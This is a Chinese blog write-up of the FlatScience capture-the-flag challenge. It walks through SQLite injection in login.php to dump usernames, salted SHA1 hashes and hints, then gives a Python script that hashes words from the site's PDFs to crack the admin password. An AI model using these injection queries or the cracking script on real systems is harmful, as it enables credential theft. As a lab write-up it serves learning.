FlatScience-wp

题目:

图片[1]-FlatScience-wp-Drton1博客

打开题目 几个链接,点来点去没发现什么东西。

看爬虫robots.txt:

图片[2]-FlatScience-wp-Drton1博客

拿到两个页面:admin.php:

图片[3]-FlatScience-wp-Drton1博客

随手试了试 注入跟弱口令 无果

F12看源码:

图片[4]-FlatScience-wp-Drton1博客

说别想着绕过哈哈。

看login.php: 随后试了试注入,试出来来了 ID 存在注入。

图片[5]-FlatScience-wp-Drton1博客

说让我们传个debug参数试试。满足他: 拿到源码:

图片[6]-FlatScience-wp-Drton1博客

可以看到拿到源码了: id直接拼接sql语句 然后再哪里回显呢? 可以看到下面写setcookie 猜测是回显到cookie上

我们先测字段:

图片[7]-FlatScience-wp-Drton1博客

拿到字段数是2。

看看这个页面有没有回显位置 如果没有 那估计就是再cookie里。

图片[8]-FlatScience-wp-Drton1博客

没有。抓包看,找到2是回显位在cookie里:

图片[9]-FlatScience-wp-Drton1博客

看源码发现数据库的类型是SQLite类型:

图片[10]-FlatScience-wp-Drton1博客

查一下这种数据库是怎么注入的:

(13条消息) SQLite 数据库注入总结_IT老涵的博客-CSDN博客_sqlite注入

直接进行利用:

图片[11]-FlatScience-wp-Drton1博客

回显:Set-Cookie: name=CREATE TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29;

URL解码:CREATE TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255));

整理结构:

CREATE TABLE Users(

id int primary key,

name varchar(255),

password varchar(255),

hint carchar(255) )

图片[12]-FlatScience-wp-Drton1博客

根据对照我们得知当前表名伪Users 其中有 id name password hint 四个字段、

查询数据: (select group_concat(name) from Users)

图片[13]-FlatScience-wp-Drton1博客

Set-Cookie: name=+admin,fritze,hansi;

拿到三个用户名 admin fritze hansi

接下来换密码:(select group_concat(password) from Users)

图片[14]-FlatScience-wp-Drton1博客

Set-Cookie: name=+3fab54a50e770d830c0416df817567662a9dc85c,54eae8935c90f467427f05e4ece82cf569f89507,34b0bb7c304949f9ff2fc101eef0f048be10d3bd;

admin的加密密码:3fab54a50e770d830c0416df817567662a9dc85c

fritze的加密密码:54eae8935c90f467427f05e4ece82cf569f89507

hansi的加密密码:34b0bb7c304949f9ff2fc101eef0f048be10d3bd

尝试解密都解不出来 cao。

还有一个字段再看看:

(select group_concat(hint) from Users)

图片[15]-FlatScience-wp-Drton1博客

my fav word in my fav paper?!,

my love is…?,

the password is password;

三句话 说他最爱的单词再它文章里

他最爱的是啥

密码就密码。。。

到这实在没招了 去看了wp 看完直呼nb

图片[16]-FlatScience-wp-Drton1博客

wp把它那两篇pdf文章下载下来 一个单词一个单词的去试 拼接 然后看密文等不等于我们得到的这个密文 ,我只能说nb:

from io import StringIO
 
#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
 
 
import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request
 
 
def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()
 
    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)
 
    text = retstr.getvalue()
 
    fp.close()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
#不同的题目,需要修改Salz!
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'): 
#需要修改的返回密码
                print ("Find the password :" + word)
                exit()
            
 
if __name__ == "__main__":
    find_password()

最后得到的密码是:ThinJerboa

然后登录拿到flag: 真是🐂🍺

图片[17]-FlatScience-wp-Drton1博客

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论